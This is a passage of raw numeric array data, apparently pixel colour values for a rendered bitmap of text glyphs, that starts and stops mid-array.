,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,14389306,0,0,0,3838171,16777215,16777215,11953664,0,0,0,26294,16777215,16777179,11964518,6710928,11974363,14408592,3801088,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,26294,16777215,16777179,11964518,6710928,11974363,14408592,3801088,0,0,0,0,0,3838171,16777215,16777179,11974326,11974326,14408703,11953664,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,14992,14417919,16777179,9463398,6721718,14408667,16777215,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14399078,3801088,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,14399078,3801088,102,11993087,16777179,9452032,102,11993087,16777179,9452032,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14389350,0,0,0,0,0,0,6731519,16777179,9452032,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14389350,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16767926,9452032,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,0,3838134,14417919,16777215,16767926,9452032,6731519,16767888,3801088,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,14950,11983871,16767963,11974326,11974326,11974326,14408703,16777215,14389306,58,9493503,16777142,6684672,0,6731519,16777179,9452032,0,0,102,11993087,16767888,3801088,14950,11983871,16767963,11974326,11974326,11974326,14408703,16777215,14389306,58,9493503,16777142,6699520,58,9493503,16777142,6699520,58,9493503,16777142,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777142,6684672,0,0,0,14992,14417919,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,3801088,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,3801088,0,0,0,14992,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14399120,6699578,3816038,6721718,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14399120,6699578,3816038,6721718,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16777179,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16777179,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,9493503,14389306,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,6731519,16758374,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,6731519,16758374,58,6721718,9463354,102,11993051,9452032,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14408630,6699520,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16767926,9452032,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777179,11964474,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,14389306,0,58,9493503,16758374,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16767888,3801190,11993087,16758374,14992,14417883,9452032,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,26294,16777179,9452032,3838171,16767888,3801088,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,26294,16767888,3816080,14399158,11983760,3827382,16777142,6684672,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3816080,14417883,9452032,0,0,102,11993087,14389306,0,102,11993087,11953664,14992,14417883,9452032,0,0,3838171,16758374,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,3838171,16777142,6684672,0,0,102,11993087,14389306,0,58,9493503,14389306,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,102,11993087,11953